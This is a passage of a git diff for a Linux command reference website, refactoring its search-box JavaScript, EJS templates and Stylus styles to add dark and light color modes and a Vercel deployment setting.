'none') } else { self.elm_btn.click(); } }) this.bindEvent(this.elm_btn, 'click', function (e) { - self.elm_result.style.display = 'none'; + setdisplay(); if (self.elm_search_result) self.searchResult(true); - else { - window.location.href = self.root_path + '/list.html#!kw=' + self.query; - } + else window.location.href = self.root_path + '/list.html#!kw=' + self.query; }) this.bindEvent(this.elm_query, 'focus', function (e) { self.searchResult(); - if (self.query) self.elm_result.style.display = 'block'; + if (self.query) setdisplay('block'); }) this.bindEvent(this.elm_query, 'blur', function (e) { - timer = setTimeout(function () { - self.elm_result.style.display = 'none'; + setTimeout(function () { + setdisplay(); }, 300) }) // 输入Enter键 this.bindEvent(document, 'keyup', function (e) { + if (e.keyCode === 40) self.selectedResult("down"); + if (e.keyCode === 38) self.selectedResult("up"); if (e.key == 'Enter') { - var item = self.isSelectedResult(); + let item = self.isSelectedResult(); if (!item) return self.elm_btn.click(); - if (item.children[0]) { - item.children[0].click(); - } - } else if (e.keyCode === 40) { - // ArrowDown - self.selectedResult() - } else if (e.keyCode === 38) { - // ArrowUp - self.selectedResult("up"); + if (item.children[0]) item.children[0].click(); } }) - if (kw) self.searchResult(); } } - new Commands() - })() \ No newline at end of file diff --git a/template/list.ejs b/template/list.ejs index 3b702af5a3d..7d927bcbc38 100644 --- a/template/list.ejs +++ b/template/list.ejs @@ -1,7 +1,5 @@ - -<%- include('header',{src:""}); %> -<%- include('search',{type: "list"}); %> - +<%- include('partial/header'); %> +<%- include('widget/search',{type: "list"}); %>
    logo Linux Command Logo. https://github.com/jaywcjlove - \ No newline at end of file diff --git a/template/styl/index.styl b/template/styl/index.styl index fdcb2bcdb53..5f5acde1a7c 100644 --- a/template/styl/index.styl +++ b/template/styl/index.styl @@ -1,51 +1,40 @@ @import('mixins/reset.styl') -@import('mixins/css.styl') @import('mixins/markdown.styl') mq-mobile = "screen and (max-width: 479px)" -a.github-corner { - position: fixed - z-index: 9999 - top: 0 - right: 0 - &:hover { - .octo-arm{ - animation: octocat-wave 560ms ease-in-out - } - } - svg { - fill #f1f1f1 - color #000 - position absolute - top 0 - border 0 - right 0 - z-index 99 - width 70px - height 70px - } +[data-color-mode*='dark'], [data-color-mode*='dark'] body { + color-scheme: dark; + --color-header-bg: #3a3a3a8f; + --color-header-border: #323232; + --color-hover: #ffffff30; } -a { - transition: all .2s ease-in +[data-color-mode*='light'], [data-color-mode*='light'] body { + color-scheme: light; + --color-header-bg: #ffffff52; + --color-header-border: #d3d3d3; + --color-hover: #f2f2f2; } -@keyframes octocat-wave{ - 0%,100%{-webkit-transform:rotate(0);transform:rotate(0)} - 20%,60%{-webkit-transform:rotate(-25deg);transform:rotate(-25deg)} - 40%,80%{-webkit-transform:rotate(10deg);transform:rotate(10deg)} +.warpper { + min-height: 100vh; + display: flex; + flex-direction: column; + justify-content: center; + .footer { + padding-bottom: 280px; + } } .header { width 517px margin 0 auto 0 padding 0 10px - .logo { - text-align center - padding-top 50px - padding-bottom 50px + .logo a { + display flex + color: currentColor; } - .box{ + .box { position relative } .search { @@ -65,15 +54,15 @@ a { position absolute display none z-index 999 - box-shadow 1px 1px 3px #ededed - border 1px solid #d5d5d5 - background #fff + box-shadow 1px 1px 3px var(--color-theme-bg) + border 1px solid var(--color-header-border) + background var(--color-theme-bg) min-width 100px top 39px width 100% padding 5px border-radius 5px 5px 5px 5px - li{ + li { line-height 23px span{ padding 0 8px @@ -83,9 +72,8 @@ a { a { display block padding 2px 6px 2px 6px - color #555555 &:hover { - background-color #f2f2f2 + background-color var(--color-hover) } .kw { color #f00 @@ -108,8 +96,7 @@ a { font-size 14px font-weight bold line-height 1.42857143 - color #555 - background-color #fff + background-color: transparent; background-image none border 1px solid $border-color border-radius 5px 0 0 5px @@ -122,9 +109,7 @@ a { } } .enter-input { - width 1% white-space nowrap - vertical-align middle button { margin 0 left -1px @@ -143,31 +128,29 @@ a { cursor pointer user-select none background-image none - background-color #fff border 1px solid transparent border-collapse separate border-radius 0 5px 5px 0 border-color $border-color - color #333 - &:focus,&:active:focus{ + &:focus,&:active:focus { outline thin dotted outline 5px auto -webkit-focus-ring-color outline-offset -2px } - &:active{ + &:active { color #333 background-color #e6e6e6 border-color #b4b4b4 background-image none box-shadow inset 0 8px 32px -8px rgba(0,0,0,0.3) } - &:focus{ + &:focus { color #333 background-color #e6e6e6 border-color #999 text-decoration none } - &:hover{ + &:hover { color #333 background-color #e6e6e6 border-color #b4b4b4 @@ -177,69 +160,80 @@ a { } } -.footer{ +.footer { text-align center padding-top 31px - color #616161 font-size 14px font-weight 300 - border-top: 1px solid #efefef; - padding-bottom: 50px; - &.footer_index { - border-top: 0 + border-top 1px solid var(--color-header-border) + padding-bottom 50px; + padding 31px 6px 50px 6px + &.home { + border-top 0 + } + div { + font-size 12px + } +} +.header.home { + .header_inner { + display flex + flex-direction column + align-items center + } + .logo { + min-height 140px + display flex + align-items center + } + .search { + display flex + min-width 320px } } - .header.header_list { width auto position fixed width 100% - background #fff + background var(--color-theme-bg) + backdrop-filter saturate(180%) blur(0.4rem) + background-color var(--color-header-bg) z-index 99 } -.header_list{ +.header_list { padding 10px 10px 10px 13px - border-bottom 1px solid #EEEEEE - .logo{ - float left - padding-top 3px - padding-bottom 0 + border-bottom 1px solid var(--color-header-border) + .logo { padding-right 24px text-align left - svg{ + svg { height 37px width 136px } } - .search{ - max-width 517px - } - .footer{ - display none - } } -.search_list{ +.search_list { padding 79px 27px - a{ + a { font-size 16px - strong{ + strong { font-weight bold } - .kw{ + .kw { color #f00 font-style inherit font-weight bold } - &:hover{ - .kw{ + &:hover { + .kw { color #333 } } } - li{ + li { padding 10px 0 10px 0 list-style-type none p { @@ -249,16 +243,15 @@ a { } } -.hotlist{ +.hotlist { padding 79px 27px - a{ + a { font-size 16px - strong{ + strong { font-weight bold } - &:hover{ } } - li{ + li { padding 5px 0 5px 0 list-style-type none p{ @@ -268,44 +261,69 @@ a { } } +.header_list .header_inner { + display: flex; + align-items: center; + .search { + flex: 1; + display: flex; + } +} -@media mq-mobile{ +.header_inner, .hotlist, .search_list, .contributors { + max-width 920px + margin 0 auto +} + +.contributors { + padding 79px 27px + max-width: 960px; + font-family: -apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji"; + font-size: 16px; + line-height: 1.5; + word-wrap: break-word; + a { + font-weight: bold; + } + .links { + display: inline-flex; + flex-wrap: wrap; + } + .links a { + background: var(--color-theme-bg); + height: 2.1rem; + border-radius: 0.3rem; + gap: 0.1rem; + padding: 0rem 0.5rem 0rem 0.4rem; + } +} + +@media mq-mobile { .header{ width inherit .search .enter-input { - button{ - padding: 9px 14px; + button { + padding 9px 14px } } } - .header_list{ - .logo svg{ + .header_list { + padding: 10px 10px 10px 13px + .logo { + float inherit + padding-right 10px + text-align center + } + .logo svg { width 96px } .search { - .query{ + .query { line-height 31px } } } - .header_list .logo{ - float inherit - padding-right 10px - padding-top 8px - padding-bottom 14px - text-align center - } - div.markdown-body{ - padding: 10px 10px 10px 13px; - } - div.markdown-body .edit_btn + *{ - margin-top: 0 !important; - } - div.markdown-body .edit_btn{ - top: 9px; - a{ - background #f1f1f1 - color #a3a3a3 - } + .search_list, .hotlist { + padding 78px 27px } } \ No newline at end of file diff --git a/template/styl/mixins/css.styl b/template/styl/mixins/css.styl deleted file mode 100644 index c7802b23d1f..00000000000 --- a/template/styl/mixins/css.styl +++ /dev/null @@ -1,19 +0,0 @@ -.language-css, -.language-styl, -.language-less, -.language-scss, -.language-sass { - color: #005cc5; - .punctuation { - color: #24292e; - } - .selector { - color: #6749BA; - } - .property { - color: #005cc5; - } - .atrule { - color: #d73a49; - } -} \ No newline at end of file diff --git a/template/styl/mixins/markdown.styl b/template/styl/mixins/markdown.styl index d6873d34280..fb49e058e18 100644 --- a/template/styl/mixins/markdown.styl +++ b/template/styl/mixins/markdown.styl @@ -1,219 +1,47 @@ +mq-mobile = "screen and (max-width: 479px)" + +.markdown-body .edit_btn { + position relative + right 20px + float right + top 16px + z-index 2 + font-size: 14px; + @media mq-mobile { + right 15px + } + .split { + display inline-block + height 13px + vertical-align middle + width 1px + margin -1px 0 0 0 + } + a { + text-decoration none + background #2196F3 + color #fff + border-radius 3px + padding 2px 5px + &:hover { + color #333 + background #e6e6e6 + } + } +} + +.markdown-body .markdown-body { + padding-top: 0 !important; + padding-left: 0 !important; + padding-right: 0 !important; +} .markdown-body { - padding 70px 35px 30px 35px - word-wrap break-word - font-family: "SFMono-Regular",Consolas,"Liberation Mono",Menlo,Courier,monospace; - font-size 14px - line-height 1.6 - color #333 + margin: 0 auto 0 auto; + margin-top: 0 !important; + padding 90px 35px 30px 35px + max-width 980px @media mq-mobile { - padding-right 0 - } - .edit_btn { - position relative - right 0 - float right - top 48px - z-index 2 - .split { - display inline-block - height 13px - vertical-align middle - width 1px - border-left 1px solid #dfdfdf - margin -1px 0 0 0 - } - a { - text-decoration none - background #2196F3 - color #fff - border-radius 3px - padding 2px 5px - &:hover{ - color #333 - background #e6e6e6 - } - } - } - - pre { - margin-top: 1.5em - margin-bottom: 1.5em - line-height: 1.3 - word-break: break-all - word-wrap: break-word - color: rgb(51, 51, 51) - border: none - position: relative - background-color: #f7f7f9 - border-radius: 3px - font-size: 0.93em - -webkit-overflow-scrolling: touch - code { - padding: 0.7em - overflow: auto - max-height: 35em - background-color transparent - color inherit - line-height 1.4 - display block - font-size 0.93em - box-sizing: border-box - border-radius: 0px - white-space: inherit - overflow-wrap: normal - word-wrap: normal!important - font-family: "SFMono-Regular",Consolas,"Liberation Mono",Menlo,Courier,monospace; - } - } - .class-name { - color: #000896; - } - .comment, - .quote { - color: #998; - } - - .keyword, - .selector-tag, - .subst { - color: #d73a49; - } - - .key, - .number, - .literal, - .variable, - .template-variable, - .tag .attr { - color: #008080; - } - - .string, .doctag { - color: #0065da; - } - - .title, - .section, - .selector-id { - color: #900; - font-weight: bold; - } - - .subst { - font-weight: normal; - } - - .type, - .class .title { - color: #458; - font-weight: bold; - } - - .function, .operator { - color: #000bc5; - } - .tag, - .name, - .attribute { - color: #002ade; - font-weight: normal; - } - - .url { - color: #3c04ff; - } - - .boolean { - color: #005cc5; - } - - .property { - color: #032f62; - } - - .null, .selector { - color: #005cc5; - } - - .constant { - color: #d73a49; - } - - .punctuation { - color: #A595A5; - } - .attr-name { - color: #8F4919; - } - .attr-value { - color: #13239F; - } - .tag { - .punctuation { - color: #A595A5; - } - .attr-name { - color: #8F4919; - } - .attr-value { - color: #13239F; - } - .attr-value .punctuation, - .script-punctuation { - color: #A595A5; - } - .script .keyword { - color: #090080; - } - .language-javascript { - color: #6f42c1; - } - } - - .regexp, .regex, - .link { - color: #009926; - } - - .symbol, - .bullet { - color: #990073; - } - - .built_in, - .builtin-name { - color: #0086b3; - } - - .meta { - color: #999; - font-weight: bold; - } - - .deletion { - background: #fdd; - } - - .addition { - background: #dfd; - } - - .emphasis { - font-style: italic; - } - - .strong { - font-weight: bold; - } - .shebang, .important { - color: #FF1717; - } - ul, ol { - padding-left: 2em; - } - p, blockquote, ul, ol, dl, table, pre { - margin-top: 0; - margin-bottom: 16px; + padding: 70px 15px 30px 15px; } -} \ No newline at end of file +} diff --git a/template/styl/mixins/reset.styl b/template/styl/mixins/reset.styl index 8c5aca08bb7..125f784950f 100644 --- a/template/styl/mixins/reset.styl +++ b/template/styl/mixins/reset.styl @@ -1,22 +1,19 @@ -body,html,ul,li,p{ +body,html,ul,li,p { margin 0 padding 0 } -body,html{ +body,html { font-size 12px font-family 'HanHei SC','PingFang SC','Helvetica Neue','Helvetica','STHeitiSC-Light','Arial',sans-serif } -html{ +html { -webkit-tap-highlight-color rgba(0,0,0,0) } a { text-decoration none - &:hover{ - color #333 - } } * { box-sizing border-box } -$border-color = #D5D5D5 \ No newline at end of file +$border-color = #8f8f8f7a \ No newline at end of file diff --git a/template/widget/footer.ejs b/template/widget/footer.ejs new file mode 100644 index 00000000000..9da12da4d87 --- /dev/null +++ b/template/widget/footer.ejs @@ -0,0 +1,26 @@ + + \ No newline at end of file diff --git a/template/widget/search.ejs b/template/widget/search.ejs new file mode 100644 index 00000000000..fbf67f3ba7e --- /dev/null +++ b/template/widget/search.ejs @@ -0,0 +1,20 @@ + + \ No newline at end of file diff --git a/vercel.json b/vercel.json new file mode 100644 index 00000000000..2f553695681 --- /dev/null +++ b/vercel.json @@ -0,0 +1,3 @@ +{ + "outputDirectory": ".deploy" +}